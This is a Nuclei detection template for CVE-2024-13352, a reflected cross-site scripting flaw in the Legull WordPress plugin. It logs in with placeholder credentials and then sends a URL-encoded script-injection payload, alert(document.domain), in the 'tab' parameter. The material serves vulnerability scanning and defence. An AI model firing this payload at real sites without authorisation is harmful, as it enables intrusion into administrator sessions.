Legull WordPress - Cross-Site Scripting

id: CVE-2024-13352

info:
  name: Legull WordPress - Cross-Site Scripting
  author: Sourabh-Sahu
  severity: high
  description: |
    Legull WordPress plugin <= 1.2.2 contains a reflected cross-site scripting caused by unsanitized parameter output, letting attackers execute arbitrary scripts in the context of high privilege users, exploit requires victim to click malicious link.
  impact: |
    Attackers can execute arbitrary scripts in the context of high privilege users, potentially leading to account compromise or data theft.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
  reference:
    - https://wpscan.com/vulnerability/2c141cc0-f79e-42bd-97a6-98829647104c/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13352
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
    cvss-score: 7.1
    cve-id: CVE-2024-13352
    cwe-id: CWE-79
    epss-score: 0.0055
    epss-percentile: 0.43475
    cpe: cpe:2.3:a:alwayscurious:legull:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2024,wordpress,wp-plugin,xss,legull

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Cookie: wordpress_test_cookie=WP%20Cookie%20check

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to={{RootURL}}/wp-admin/&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=legull_terms&tab=%27%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E%3Cscript%3E` HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "></script><script>alert(document.domain)</script><script>`")
        condition: and
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